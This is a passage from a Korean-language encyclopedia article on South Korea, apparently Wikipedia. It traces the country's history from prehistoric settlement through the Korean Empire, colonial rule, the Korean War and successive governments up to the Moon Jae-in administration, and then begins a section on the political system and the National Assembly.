이전으로 추정되며, 현생인류는 후기 구석기 시대인 약 2만 5천 년 전부터 해안과 강가를 중심으로 거주하기 시작한 것으로 보인다. 인골 화석으로는 충청북도 단양군 상시굴과 두루봉동굴, 제천시 점말굴 등에서 현생인류로 추정되는 사람 뼈 화석이 발견된 바 있다. 이후 중석기 시대와 신석기 시대를 거치면서 여러 빗살무늬 토기인, 무문토기인 등 여러 인종의 유입과 주변 세력들과의 상호작용을 통해 문명이 발전했다. 다만 초기 구성원들의 이동과 외부 세력 유입의 구체적 모습은 확실하지 않다. 한반도 일대의 최초의 국가는 고조선이다. 일연의 《삼국유사》에서는 현전하지 않는 《고기》를 인용하여 단군 왕검이 고조선을 세웠다고 기록하였고 《동국통감》에서 그 시기를 기원전 2333년이라 하였다. 날짜는 대종교에서 임의로 음력 10월 3일로 약속하고 개천절이라 불렀는데 대한민국 정부에서 그 날을 양력으로 고쳐 국경일로 지정하였다. 고조선 멸망을 전후하여 부여, 옥저, 동예, 진국, 삼한 등 여러 나라가 생겨났고, 이후 고구려, 백제, 신라의 삼국 시대로 이어졌으며 이 중 신라가 삼국을 부분적으로 통일하는 한편 북쪽의 발해와 함께 남북국 시대를 형성했다. 10세기 고려가 등장하면서 한민족 단일 국가의 시대를 시작했고 14세기 조선이 이를 계승했다. 근대 한국의 뿌리는 1897년에 수립된 대한제국이다.[21] 고종 황제는 나라 이름을 조선(朝鮮)에서 대한(大韓)으로 고치고, 연호를 광무(光武)라 정하고, 스스로 황제의 자리에 올랐다. 최초의 근대적 헌법인 대한국 국제를 반포하였고, 미국, 영국, 독일, 프랑스, 이탈리아, 러시아, 일본, 청나라 등과 수교하였다. 광무개혁을 단행하여 신식군대를 설치하고, 근대적 사법·토지 제도를 도입하고, 상공업을 진흥하고, 근대적 병원과 학교 및 은행 등을 설립하였다. 해외에 유학생을 파견하여 근대 산업기술을 습득하게 하고, 제조·철도·운수 등 여러 분야에서 근대적 기업과 공장을 설립하였다. 그러나 대한제국의 자주적 근대화 노력은 1895년 청일 전쟁으로 일본의 영향력이 커진 이래 간섭을 받아왔으며, 1904년에는 러일전쟁에서 일본이 승리한 뒤로 일본의 한국 병합이 본격화되었다. 1905년 을사조약을 무력으로 체결하여 외교권을 박탈하고, 1907년 고종 황제를 폐위하고, 1910년 한일 병합 조약을 통해 국권을 빼앗기며 일제 강점기로 전환, 근대적 자주국가라는 목표는 사라지고 말았다. 대한민국 임시정부 일제강점기, 대한민국 임시정부 문서를 참고하십시오. 대한민국 임시정부 국무원 기념 사진(1919년 10월 11일). 1919년 3월 1일, 한국인들은 민족대표 33인의 독립선언서 낭독을 시작으로 독립을 위한 3·1운동을 펼쳤다. 이 운동은 대체로 각 지역에서 정기적으로 열리던 장(시장)의 개장일에 맞추어 전국으로 퍼져 나갔다. 일본은 시위를 무력으로 진압하였으나 폭압 통치 방식의 한계를 느껴 헌병 경찰 통치에서 문화 통치로 전환하였다. 이는 국내외 독립운동의 새로운 전환점을 마련하게 된다. 4월 11일, 3·1운동의 정신을 이어받아 중화민국 상하이에서 대한민국 임시정부가 수립되었다. 임시정부는 대한민국 임시 헌법을 제정하여 대통령제와 3권 분립을 채택하고 한국의 독립을 위하여 외교·군사적으로 노력했다. 그러나 독립운동 노선의 갈등으로 여러 인사들이 빠져나가면서 국무령 중심의 집단지도체제로 전환하고, 일제의 방해까지 겹쳐 온갖 고난과 어려움을 겪었다. 1930년대 일본의 중국 침탈이 가속화되자 내륙으로 청사를 이전하여 중일전쟁이 한창이던 1940년에는 충칭에 정착하였다. 이후 김구를 주축으로 주석중심제로 재정비하고 조소앙의 삼균주의를 건국강령으로 채택하였다. 한국 광복군도 조직하여 1941년 12월 태평양 전쟁을 일으킨 일본에 선전포고하고 1942년 2월에는 대독 선전포고까지 하여 연합군의 일원으로 참전하고자 하였다. 1942년에는 좌파계열인 조선민족혁명당의 김규식, 김원봉 세력과 김성숙, 유림 등의 무정부주의자들이 임시정부에 합류하여 민족통일전선 형성의 기틀이 마련되었다. 1943년 버마 전선의 영국군과 연합작전을 전개하고자 공작대를 파견하여 일본군 포로 취조 및 암호 번역, 선전 전단 작성, 대적 회유 방송 등을 하였다. 미국 OSS와도 연계하여 1945년 9월을 기한으로 국내 진공 작전을 준비했으나, 8월 15일 일본이 항복하여 성사되지 못했다. 현행 대한민국 헌법 전문에는 대한국민이 3·1운동에 따라 건립된 대한민국 임시 정부의 법통을 계승한다는 문구가 삽입되었다. 군정기와 해방 정국 이 부분의 본문은 대한민국 정부 수립 및 군정기입니다. 1948년 대한민국 정부 수립 선포식 1945년 8월 15일부터 1948년 7월까지 38선 이남에서 사용한 태극기 1945년 8월 15일, 일본제국이 미국에 무조건 항복함으로써 대한민국은 일제 치하로부터 벗어나 광복을 맞이하였다. 그러나 광복 이후 한반도는 얄타회담에서 이루어진 비공식적 합의에 따라 소련과 미국의 신탁 통치하에 들어갔다. 1945년 9월에는 한반도의 북위 38도선을 경계로 남쪽은 미군이, 북쪽은 구 소련군이 포고령을 선포하여 각각 군정을 실시하면서 한반도는 남과 북으로 분단되었다. 광복 이후 여운형, 안재홍 등은 1944년 설립한 지하조직인 건국동맹을 모태로 조선건국준비위원회를 개최하였고, 9월 여운형, 박헌영 등에 의해 조선인민공화국 내각이 수립되었다. 그러나 1945년 11월 중화민국 쓰촨성 충칭에서 개인 자격으로 귀국한 대한민국임시정부 요인들과 '임정정통론' 문제로 갈등이 벌어졌고, 미군정은 맥아더 포고령에 따라 인공 내각(조선인민공화국 내각)과 임시정부를 승인하지 않음으로써 인공 내각은 해산되었다. 1945년 12월에 모스크바 3상 회의에서 신탁통치안 문제를 놓고 한반도 내에는 좌, 우익 세력간 대립이 격화되었다. 곧이어 1946년 5월에는 미소공위가 개최되었으나 양측의 주장이 엇갈려 결렬되었다. 이때 김규식, 여운형, 안재홍 등은 통일 임시정부 수립을 위해 좌우합작운동을 개시하여 미소공위를 재개하고자 하였지만, 한민당과 남로당 등 좌우익세력간에 불참으로 중도파 세력만의 운동으로 축소되었다. 1945년 12월 송진우 암살, 1947년 7월에 여운형 암살 등 해방정국의 잇단 사건으로 좌우합작운동은 실패로 끝났다. 대한민국 정부 수립 미 군정은 온건파인 김규식, 안재홍, 여운형을 통해 좌우 합작과 협상을 주도하게 했다. 그러나 헤게모니 장악에서 제외된 것에 불만을 품은 이승만, 김구, 윤치영, 박헌영, 허헌 등의 반발에 봉착하게 되었다. 이후 제2차 미소공위 마저 결렬되어버리자 미국은 한반도 문제를 UN 총회로 이관했고, 총회에서 남한 내 단독정부 수립이 결정되었다. 이에 김규식, 조소앙, 김구 등은 통일 정부를 수립하기 위해 남북협상 등을 추진하여 노력하였으나 수포로 돌아가고, 남한에서도 선거 가능한 지역에 한한 정부 수립론이 제기되면서 (정읍 발언) 사실상 남북단일 정부 수립은 불가능한 모양새가 되었다. 1948년 1월부터 한반도의 정국은 단독 정부 수립론과 남북 협상을 통한 정부 수립론을 놓고 의견이 갈라서게 되었다. 그러나 1948년 2월 38선 이북에서는 북조선인민위원회를 구성하고, 조선인민군을 창건하면서 분단은 사실상 불가피하게 되었다. 5월 10일 38도선 이남에서만 제헌 의원 총선거가 실시되어 제헌 국회가 탄생하였고, 같은 해 7월 17일에는 초대 헌법인 대한민국 제헌 헌법이 구성되었다. 7월 22일에는 국회의 간접 선거로 이승만이 초대 대통령, 이시영이 초대 부통령으로 선출되었고, 8월 15일에는 대한민국 정부 수립이 선포되었다. 위키문헌에 이 글과관련된 원문이 있습니다. United Nations General Assembly Resolution 293 12월 12일 "유엔 총회 결의 195(III) 한국의 독립 문제"에서 대한민국이 "한반도에서 유일하게 그러한 정부(the only such Government in Korea)"임을 선언하였다. 여기서 '그러한'은 대한민국이 임시위원단의 감시 하에서 주민들 대다수의 자유 의사에 따라 수립되었고, (분단상태를 고려할 때)선거가 가능했던 그 지역에 대한 유효한 지배권과 관할권을 가진 합법정부임을 뜻한다. 이미 48년 9월 9일에 한반도 이북에서는 조선민주주의인민공화국이 선포되었음에 미루어 그 해 12월의 결의는 대한민국만을 한반도에서 유일한 합법정부로 인정한 것이다. 한국 전쟁 6·25 전쟁 중 동생을 등에 업고 지나가는 소녀 이 부분의 본문은 한국 전쟁입니다. 조선민주주의인민공화국의 김일성은 남침을 기도하여 공산주의화 하려는 야망을 실현하고자 준비하였다. 소련의 지도자인 이오시프 스탈린의 승인을 받자, 1950년 6월 25일 새벽 4시에 소련에서 지원받은 수십대의 소련제 탱크를 앞세워 대한민국을 침공했다. 당시 대한민국에는 탱크의 공세를 막을 수 있는 방어책이 전혀 없었고 야포와 전투기 등 모든 것이 압도적으로 열세였기 때문에 총만 가진 거의 맨 몸의 한국군은 순식간에 밀려날 수 밖에 없었다. 그렇게 대한민국은 조선인민군이 침략한 3일만에 수도인 서울을 인민군에게 빼앗기게 된다. 치밀하게 계획하고 무장한 인민군을 상대하는 것이 계란으로 바위치기였던 한국군은 결국 밀려나 낙동강 방어선을 최후의 배수진으로 정하고 버티었다. 이 과정에서 수많은 어린 학생들(학도병들)이 무고하게 죽어나갔으며 많은 사상자와 인명피해가 초래되었다. 하지만 UN군이 파병으로 지원하고 UN군 총사령관 더글러스 맥아더가 9.15일 인천 상륙 작전을 벌여 조선인민군에 반격을 시작하자 얼마 지나지 않아 대한민국은 9월 27일에 서울을 탈환해냈다. 10월 1일에는 38도선까지 수복해서 원점으로 돌아갔다. 이 때 유엔 내부에서 맺어진 새로운 결의로 유엔군의 목적이 조선민주주의인민공화국을 완전히 공략하려는 목적으로 변경되었다. 이후 한국과 UN군은 거듭해서 10월 26일에는 압록강까지 올라갔으나 곧 이어 중화인민공화국이 인해전술을 펼치며 참전하고 소련이 군사를 지원하여 전세가 다시 역전되었고 전쟁은 장기화되었다. 이후 38도선 인근 중부 지방에서 교착을 거듭하던 1953년 7월 27일에 휴전협정이 오전 10시에 체결된 후에 효력이 발생한 22시에 완전히 전투가 종료되고 군사 분계선이 형성되면서 오늘날까지 휴전 상태가 이어지고 있다. 한국 전쟁으로 20만 명이 과부가 되었고 10만여 명 이상이 고아가 되었으며 1천만여 명 이상이 이산 가족 신세가 되었다. 한반도 내 45%에 이르는 공업 시설이 파괴된 탓에 경제적, 사회적 암흑기가 도래하여 한국과 북한의 경제 수준이 떨어졌다. 무엇보다도 이 전쟁으로 인해 남북 간에 서로에 대한 적대적 감정이 극도로 팽배하게 되어 한국의 분단이 더욱 고착화되면서, 분단한 지 70여년에 이르고 있다. 제1·2공화국 1960년 4.19 혁명. 이 부분의 본문은 제1공화국, 4·19 혁명, 및 제2공화국입니다. 한국 전쟁이 휴전 협정을 맺은 후 1950년대는 미국으로부터 지원을 받아 전후복구사업을 실시하는 가운데 경제원조체제가 성립되던 시기였다. 제1공화국 정권의 고위 관료는 부패해 국민의 불만을 샀다. 의원 내각제였던 제1대 내각에서 재선이 불가능하다 판단한 이승만은 이범석과 장택상을 비롯한 측근들과 족청계, 백골단, 땃벌떼 등을 동원하여 부산정치파동(1952년), 사사오입 개헌(1954년)을 일으키고 장기집권을 추진했다. 그러나 이범석, 장택상 등의 성장을 두려워한 이승만은 이들을 제거하고 이기붕 계열을 등용한다. 이기붕 계열은 또한 친 자유당 성향의 이정재, 임화수, 유지광 등의 정치깡패들을 활용하여 야당 의원의 집회를 탄압, 제1공화국 후반기는 혼란을 거듭했다. 그 와중에 부통령 장면의 피격 사건(1958)과 조봉암 사법살인(1959) 등의 조치까지 겸해졌고 언론의 자유마저 통제당했다. 1959년의 한일회담이 끝나자 곳곳에서 정부의 독재에 저항하는 집회가 시작, 1960년 3월 15일 부통령 선거의 부정을 계기로 국민들의 불만은 극에 달해 4·19 혁명이 발생했고, 마산 앞바다에서 며칠 전 실종되었던 김주열의 주검이 떠오르면서 시위는 격화되었다. 4월 26일 이승만 대통령이 하야를 선언하여 제1공화국은 붕괴했다. 제2공화국 국무총리 장면 4·19 혁명 이후 허정 과도 내각을 거쳐 장면을 수상으로 하는 제2공화국이 수립됐다. 제2공화국은 3차 개헌을 통해 내각책임제와 양원제를 구성했고, 언론 자유와 혁신계 정치활동을 허용했다. 제2공화국 당시 각계 각층의 통일 운동과 민주화 요구가 분출되기도 했는데, 집권 여당인 민주당 사이에서 신파와 구파가 나뉘어버려서 개혁 의지가 미약한 탓에 이러한 요구들을 수용하지 못했다. 곳곳에서 데모가 연이어 벌어졌고, 장면이 단호한 조치를 계획하던 중 1961년 5월 16일 새벽 5·16 쿠데타로 내각 각료들이 체포되면서 장면 내각은 1년 남짓밖에 집권하지 못하고 무너졌다. 그 뒤 윤보선은 형식적인 민정을 실시하였으나 군사정변 세력에게 구정치인 정화법(1962)으로 정치활동을 정지당하자 여기에 불만을 품고 사퇴(1962.3.22)함으로써 1962년 3월부터 1963년 12월까지 5·16 군사정변 세력이 설립한 국가재건최고회의가 사법권·행정권·입법권을 모두 장악하고 군정을 실시했다. 제3·4공화국 1961년 5.16 군사정변 당시 박정희. 이 부분의 본문은 대한민국 제3공화국, 대한민국 제4공화국, 및 최규하 정부입니다. 1963년 12월 5·16 군사 정변을 주도한 박정희 등에 의해 제3공화국이 수립됐다. 야당 후보인 윤보선과의 두 차례의 선거전에서 10만 표 안팎의 근소한 차로 집권하였다. 재임 초반 한일 협정을 추진하는 과정에서 공분을 사 일어난 시위를 무력 진압하며 강행했다. 1960년대 개발 독재의 일환으로 정부는 경공업 중심의 수출 주도형 발전과 한일협정·베트남 전쟁 파병 등을 통한 외화 획득으로 경제 발전을 꾀했다. 1970년대에는 중화학 공업과 전자산업을 집중적으로 육성했다. 하지만 도시와 농촌의 소득 격차, 저임금 노동과 빈부격차와 같은 문제도 남겼다. 이후 박정희 정부는 3선 개헌을 통과시키고 1971년 대선에서 3선에 성공한다. 그런데 대선에서 야당 후보가 돌풍을 일으키고 같은 해 총선에서 야당의 의석수가 2배로 늘어나는 선전을 이룬 데다가 제1차 석유 파동 등으로 경제성장도 한계를 보이기 시작하면서 정권 유지에 위기를 느낀 박정희 정부는 1972년 유신 헌법을 통과시키고, 제4공화국을 선포하였다. 1971년 대통령 선거에서 야당의 돌풍으로 불안감을 느낀 박정희는 1972년 7·4 남북공동성명을 발표하고, 통일을 준비한다는 명목으로 10월 유신을 선포해 유신체제를 수립했다. 이를 통해 대통령의 임기를 6년 연임제로 수정하는가 하면 국회의원을 대통령이 임명하게 할 수 있는 법안까지 통과시키는 등 대통령의 권한을 비정상적으로 확대시켰다. 이에 노동운동계, 재야와 학생 세력 등이 민주화를 요구하지만, 정부는 잇따른 긴급조치를 통해 억눌렀다. 하지만 민주화 운동 세력 및 노동운동가의 반발은 계속되었다. 미국이 한국의 '인권 침해'를 비판하기 시작하자 한미 간 외교적 마찰이 일어났다. 제2차 석유 파동까지 겪으면서 경제위기와 내부 혼란이 크게 가중되었다. 김영삼 의원제명 파동과 YH 무역 농성 사건, 부마 항쟁 등의 사회적 저항이 지속되었다. 이러한 일들은 권력 내부의 분열을 초래하였으며, 1979년 박정희가 중앙정보부장 김재규에게 암살되면서(10·26 사건) 박정희의 17년 장기 집권은 막을 내렸다. 10·26 사건 이후 유신 체제 하에서 국무총리 최규하가 이끄는 정부가 출범했다. 유신 헌법 폐지를 통해 민주화를 추진하려는 움직임이 나타나던 시기, 최규하 정부는 긴급조치를 해제함으로써 일부 정치적 억압을 완화했고, 1979년 12월과 1980년 2월, 1980년 4월에 대사면령을 단행하였다. 그러나 전두환을 비롯한 이들이 12월 12일에 군사반란을 일으켜 실권을 장악하였고, 급기야 최규하 대통령에게 간섭하기 시작했다. 이들은 1980년 쿠데타를 일으키면서 최규하 정부는 1980년 8월 최규하 대통령의 사임으로 붕괴되고 말았다. 제5공화국 이 부분의 본문은 대한민국 제5공화국입니다. 전두환과 하나회를 중심으로 한 신군부는 12·12 군사 반란을 일으켜 계엄 사령관을 체포하고 군부를 장악하여 실세로 떠올랐고, 민주화 일정을 지체시켰다. 1980년 초부터 국회와 정부는 유신 헌법을 철폐하기 위한 개헌 논의를 진행했고, 대학생과 재야 세력도 정치 일정 제시와 전두환 퇴진 요구를 바탕으로 민주화 시위를 벌였다. 이에 신군부는 5월 17일 비상계엄을 전국확대하면서, 이른바 '화려한 휴가'라고 불리는 포고령을 통해 '정치활동 금지', '보도검열 강화', '휴교령' 등을 선포하고 군병력을 동원해 국회를 폐쇄했다. (5.17 쿠데타) 이 과정에서 신군부는 5·17 쿠데타에 항거한 광주 민주화 운동을 공수부대 및 특전여단을 투입해 유혈진압을 하고, 5월 27일 국가보위비상대책위원회를 만들어 정국을 주도했다. 10월 27일에는 7년 단임의 대통령제를 골자로 한 제5공화국 헌법이 공포되고 이듬해 제5공화국이 출범했다.[22] 제5공화국은 경제 안정에 매진하는 한편, 1981년에는 1986년 아시안 게임, 1988년 서울 올림픽 등을 유치하기도 했다. 또한 야간통행금지 해제 및 교복 자율화 등의 유화 조치를 내걸어 국민들의 불만을 잠재우기도 했다. 한편으로 임기 중반부터 3저호황으로 인한 수출 흑자를 기록했다. 그러나 다른 한편으로는 권위주의적인 독재체제를 성립하고 민주주의 탄압 및 고문·정치사찰·용공조작으로 대변되는 인권 유린행위를 자행했으며, 정경유착·부정축재·친인척 비리가 빈발했다. 1987년 1월 박종철이 고문으로 치사하는 사건이 터지자 정부 퇴진과 민주화 요구의 목소리는 더욱 커졌다. 이에 정부는 호헌조치를 취하며 '개헌할 의도가 없음'을 내세웠고, 국민들의 민주화 요구는 더욱 빗발쳐 6월 항쟁으로 이어졌다. 마침내 전두환 대통령은 민정당 총재 노태우를 통해 6·29 선언을 발표하면서 국민의 개헌 요구를 수용했다. 개정된 헌법에 따라 치러진 제13대 대통령 선거에서는 여당 노태우가 당선되었고, 1988년 2월 취임식과 함께 제5공화국은 막을 내린다. 1988년 서울 올림픽 노태우 정부와 문민정부 이 부분의 본문은 노태우 정부 및 김영삼 정부입니다. 1987년 6월 29일, 당시 민주정의당 총재이자 대통령 후보였던 노태우가 대통령 직선제 등을 주 내용으로 하는 6·29 선언을 발표했다. 이후 여야가 합의하여 대통령 직선제 등을 골자로 한 개헌이 성사되었다. 이로써 야권의 정치 참여가 허용되었으며, 1988년 치러진 제13대 총선에서는 사상 최초의 '여소야대' 국회가 나왔다. 민주정의당은 불리한 여론을 극복하는 돌파구로 3당 합당을 추진해 민주자유당을 탄생시켰다. 또한 전두환 측근에 대한 사법조치를 단행(국정감사)하고 민간인들을 정계에 대폭 고용하기도 했다(과거와의 단절). 외교 면에서 노태우 정부는 북방정책을 추진해 구 소련을 비롯한 공산권 국가들과의 수교 등 관계 개선에 주력했다. 1991년 9월 유엔의 가맹국이 되었으며, 이어서 12월에는 남북기본합의서를 채택했다. 또한 1992년에는 지방 자치 제도를 실시하게 되었다. 그러나 노태우도 전두환처럼 군인 출신이었고, 12·12 사태를 주도하고 5공 성립 과정에 깊숙히 관여한 인물이라는 한계가 있었다. 노태우 정부도 정경유착은 물론 비자금 형성·민간인 사찰·고문 등 5공의 파쇼 정치를 그대로 답습했다(이 때문에 노태우 정권을 군사정권의 연장선으로 이해하는 시각도 있다). 이는 결국 민주화 시위(1991) 등으로 이어졌고, 노태우는 이른바 '6공 황태자'로 불리던 박철언을 후계자로 지명했지만 여당 내에서도 불만이 터져나왔으며 끝내 김영삼을 후계자로 택할 수밖에 없었다. 1993년 문민정부가 출범함으로써 노태우 정부는 막을 내렸다. 1992년 치러진 제14대 대선에서 민주자유당의 김영삼 후보가 당선되어 1993년에 취임하면서 대한민국은 이른바 문민정부 시대로 접어들었다. 이로써 윤보선 정부 이후 30여년만에 민간인 정부로 회귀했다. 문민정부는 하나회 군부 숙청, 금융실명제, 표현의 자유 허용, 역사 바로 세우기 운동, 지방자치 단체장 선거 부활, OECD 가입 등의 업적을 남겼다. 특히 군사 정변을 주도할 위험이 있는 군 내 사조직을 숙청하고, 12.12 관련자 및 5.18 관련 정치군인들을 처벌하기도 했다. 하지만 대한항공기 괌 추락 사고, 우암상가아파트, 성수대교 와 삼풍백화점 붕괴 사고 등의 대형 사고가 일어나 사회적인 혼란을 겪기도 했다. 또한 자유방임적 시장경제와 세계화를 추구하면서 준비없는 대규모 개방을 강행했고, 외환관리에 실패해 IMF 구제금융사건을 초래하였다. 결국 국민들의 높아진 요구를 충족시키지 못한 채 야당에게 정권을 이양할 수밖에 없었다. 국민의 정부와 참여정부 이 부분의 본문은 김대중 정부 및 노무현 정부입니다. 1997년 치러진 제15대 대선에서 새정치국민회의의 김대중 후보가 당선되면서 헌정 사상 최초의 평화적인 정권교체가 실현되었다. 국민의 정부가 들어서면서 당면한 가장 큰 과제는 IMF 위기의 극복이었다. 국민의 정부는 '자유주의' 경제정책 추진과 금모으기 운동 등을 통해, 2001년까지 외채를 조기 상환해 IMF 관리 체제에서 벗어났으며, 국제 기준에 맞춘 자율적인 구조조정 체제를 도입해 기업의 체질개선 등을 단행했다.[23] 국민의 정부는 한반도의 평화와 인권 신장에 기여했다. 특히 대북관계에 있어서 햇볕정책을 추진하기 위해 분단 이후 처음으로 평양을 방문, 김정일 국방위원장과 남북정상회담을 하였다. 그러나 남북정상회담을 위해 2000억원에 달하는 현금을 북한 정권에게 불법 송금했다는 혐의가 사후 드러나 큰 비판을 받았다. 대북유화책을 추진했지만 연평해전, 핵실험 등 북한의 지속적인 도발이 계속되어 햇볕정책의 실효성에 의문이 제기되었다. 또한, IMF 위기 극복을 위해 국민의 정부가 추진했었던 신자유주의 정책은 승자 독식의 기형적 사회구조를 구축했다는 비판이 있으며, 지나친 구조조정과 기업 매각 등으로 대량의 실업자를 양산했다는 부정적 평가가 일부 존재한다. 2002년 치러진 제16대 대선에서는 새천년민주당의 노무현 후보가 당선되면서 2003년 참여정부가 출범하였다. 2004년에는 대통령 탄핵 소추를 겪는 등 위기를 맞기도 했으나, 여론의 반발과 헌법재판소의 기각 결정으로 노무현 대통령은 직에 복귀했으며, 2004년 제17대 총선에서 여당인 열린우리당이 탄핵역풍을 맞은 야당을 누르고 과반수 의석을 차지하면서 국정 탄력을 받았다. 참여 정부는 권위주위 타파, 균형 발전 등 개혁적이고 진보적인 정책을 수립했다. 진실 화해를 위한 과거사 정리위원회 설치를 통한 과거사 정리, 세종특별자치시 추진으로 균형 발전을 꾀했다는 평가가 있다. 하지만, 참여정부는 현실을 고려하지 않은 지나친 개혁과 대통령의 과격한 발언 등으로 보수층과 중도층의 반발을 불러왔고, 노무현 대통령의 형인 노건평 씨의 측근 비리 등 각종 악재로 인하여 임기 중반에 지지율이 하락하기도 하였다. 경제적으로는 부동산 가격 폭등, 양극화를 심화시켰으며, 양극화의 원인으로 제시되어 많은 사회적 논란을 낳은 비정규직 문제를 해결하지 못했다. 또한 노무현 재임 당시 교육부총리였던 김진표가 추진한 정책으로 인하여 대학 등록금도 큰 폭으로 상승하는 등 서민의 경제적 어려움을 가중시켰다는 지적도 있다. 이명박 정부와 박근혜 정부 이 부분의 본문은 이명박 정부 및 박근혜 정부입니다. 2007년 치러진 제17대 대선에서 한나라당의 이명박 후보가 대통령에 당선되었다. 이명박 정부는 7대 강국, 4만달러 시대, 7% 성장('747 공약')을 내세웠다. 하지만 집권 초인 2008년 미국발 세계 금융 위기의 여파로 인한 경제적 위기와, 광우병소 수입 반대 촛불집회로 인한 정치적 위기를 동시에 겪었다. 금융위기를 극복하기 위해 이명박 정부는 여러 정책을 시도하는데, 그 중 대표적인 것이 4대강 사업이다. 4대강 사업은 건설경기를 살렸고 홍수 피해를 줄였다는 긍정적 평가와 세금 낭비와 환경파괴라는 부정적 평가가 각각 존재한다. 2010년에는 G20정상회의 개최와, 2012년 핵안보정상회의를 개최하여 외교적 성과를 이뤘고, 금융위기 극복, 국가신용등급 향상, 원전 수주 등 다양한 성과를 거두었다는 긍정적인 평가가 있다. 하지만 미디어법 개정으로 언론장악이 아니냐는 비판도 있으며, 세종시 수정안과 같이 여러 정책들의 추진에 대한 찬반 양론이 존재한다. 또한, 종합부동산세 폐지로 부자 감세 의혹이 제기되었고,[24] 야심차게 추진한 자원외교에 대해서는 세금 낭비와 비리 의혹이 제기되어 논란이 되고 있다.[25] 박근혜 대통령 퇴진 운동 2012년 치러진 제18대 대선에서는 새누리당의 박근혜 후보가 대통령에 당선되었다. 그러나 국정원의 선거 개입 의혹이 제기되며 출범부터 논란에 휩싸였고, 이어 잇따른 인사의 실패로 국정운영에 어려움을 겪었다. 더구나 2014년 4월 세월호 참사와 2015년 메르스 사태 등으로 재난 대책에 미숙한 모습을 드러내었으며, 창조경제와 노동개혁, 국정교과서 추진, 한일 위안부 합의, 사드(THAAD, 고고도 미사일 방어 체계) 배치 결정, 통합진보당 해체 등 여러 정책에 대해 사회적 비판과 갈등을 겪은 데다가 2016년 4월 제20대 총선에서 여소야대 국회가 다시금 등장하면서 정치적 위기를 맞았다. 결국 2016년 10월 민간인 신분인 최순실 씨의 국정 농단 사태(박근혜-최순실 게이트)가 밝혀지면서 박근혜 대통령 퇴진 운동이 시작되었고, 국회는 박근혜 대통령 탄핵 소추안을 가결시키며 박근혜 대통령의 권한이 정지, 황교안 대통령 권한대행 체제가 확립되었다. 2017년 3월 10일 헌법재판소의 탄핵 인용으로 박근혜 대통령은 헌정 사상 최초로 파면된 대통령이 되었다. 문재인 정부 이 부분의 본문은 문재인 정부입니다. 취임 선서를 하는 문재인 대통령 2017년 5월 10일에 치러진 제19대 대선에서 더불어민주당의 문재인 후보가 대통령으로 당선되었다. 문재인 정부는 임기 초반기부터 7~80%대의 높은 지지율을 유지했으며, 탈권위주의 정책 및 적폐청산 정책으로 국민들의 호응을 받았다. 하지만 5대 원칙 공약 파기 및 부실한 인사들을 무리하게 임명하여 논란이 일었고 또 문재인 케어 논란, 탈원전 논란, 코리아 패싱 등으로 계속 논란이 일었다. 그리고 2018년 초반기에 들어서서 남북 단일팀 논란, 가상화폐 규제 등을 무리하게 밀어붙이고 미세먼지 공약 미이행 논란까지 불거지면서 보수층과 중도층, 젊은층의 반발로 지지율이 하락했다. 그러나 탈권위주의 정책과 적폐청산 정책을 과감히 추진하고 평창 동계올림픽의 흥행으로 다시 지지율이 상승했다. 하지만 대한민국의 미투 운동에 더불어민주당의 일부 정계인사들이 연루되고, 금융감독원장에 임명된 김기식이 여러 논란에 휩싸임과 동시에 더불어민주당원 댓글 조작 사건이 불거지면서 다시 위기에 몰렸으나 2018년 제1차 남북정상회담과 2018년 제2차 남북정상회담을 통해서 평화무드를 조성하면서 지지율을 크게 상승시켰고, 이어진 제7회 전국동시지방선거에서 더불어민주당이 크게 승리하면서 국정운영에 계속 탄력을 받게 되었다. 하지만 지방선거 이후 경제가 하락하고 제주 난민 사태, 일자리 정책 실패, 최저임금 인상 논란, 근로시간 주52시간 단축 논란, 부동산 대책 논란, 리비아 한국인 납치 사건 대처 미흡 논란, 북한 석탄 밀수 사건, 국방백서 북한 주적 삭제 논란, 통계청장 경질 논란이 불거지고 이에 대해 문재인 정부가 주변의 비판여론에도 불구하고 밀어붙이면서 보수층, 중도층, 젊은층의 반발을 불러일으키면서 문재인 정부의 지지율이 계속 하락했다. 그러나 2018년 제3차 남북정상회담을 잘 이끌어내면서 지지율이 다시 상승기류를 탔다. 하지만 이후로는 경제 불황과 소득주도성장에 대한 부작용이 다시 이슈가 되고 북미 비핵화 협상 교착화와 혜경궁 김씨 논란, 그리고 청와대 의전비서관의 음주운전과 청와대 민정수석실 특별감찰반 일탈 논란으로 다시 지지율이 하락하고 있다. 정치 이 부분의 본문은 대한민국의 정치입니다. 대한민국 임시정부는 1919년 4월 13일에 중화민국 상하이에서 수립되었으며 1945년 8월 15일 일본 제국으로부터 해방되었다. 신탁 통치 찬반을 놓고 좌파 진영과 우파 진영 간의 갈등이 극에 달하게 되었으며, 이후 미국과 구 소련의 분할 군정에 놓여 있다가, 1948년 5월 10일 총선을 거쳐 7월 17일 첫 헌법이 제정되었고 8월 15일에 대한민국임시정부의 정통성을 이어받은 대한민국 정부로 공식 출범하게 된다. 대한민국은 자유민주적 기본절서에 입각한 자유 민주 공화국으로 대통령제를 기본으로 하여 의원내각제적 요소를 혼합한 정치 제도(그 예로 국무총리가 존재하고, 국회의원이 장·차관급 공직자를 지낼 수 있다)를 채택하고 있고, 대한제국이 일본에 의해 멸망한 후 3·1 운동 정신으로 창립된 대한민국 임시정부의 법통과 독재의 불의에 항거한 4·19 혁명의 민주주의 이념을 계승함을 헌법 전문에 명백히 밝혀두고 있다. 한편 대한민국 헌법은 1948년 7월 17일 공포되었으며 개인의 인권을 존중하고 사유재산을 인정하고 있다. 그 이후에도 헌법은 9차례에 걸쳐 개정되었다. 그 가운데 박정희 때의 유신 헌법은 긴급조치 등 대통령의 권한을 강화해 국민의 자유기본권을 제약하는 비민주적이었지만 그 당시 국내외를 둘러싼 환경에 의해 불가피한 조치였다는 다른 시각도 있다. 현재 발효 중인 헌법은 제6공화국의 수립에 따라 1987년 여야 합의를 통해 개정되었다. 또한 3권 분립의 원칙에 따라 독립적인 세 개의 권력 기관을 근간으로 하여 국가를 구성하고 있다. 정부 입법부 국회의사당 이 부분의 본문은 대한민국 국회입니다. 입법부의 주축을 이루고 있는 대한민국 국회는 현재 총 300석의 단원제로 구성되어 있다. 대한민국 임시정부의 입법부였던 임시의정원을 기원으로 두고 있으며, 1948년 5월 10일 구성된 제헌국회가 대한민국 최초의 국회이다. 매년 1회의 정기회(100일 이내)와 30일 이내의 임시회가 열리며, 회기 중에 국회는 법의 의결권과 예산안의 심사, 국정 감사와 헌법에 명시된 기관장의 임명 동의 및 조약의 체결 및 비준 동의 등의 활동을 한다. 대한민국 국회의원의 임기는 4년이며, 임기 중 의사진행과 관한 발언에 대한 면책특권과 회기 중 불체포특권을 가진다. 공직선거법에 따른 피선거권을 충족한 인물로, 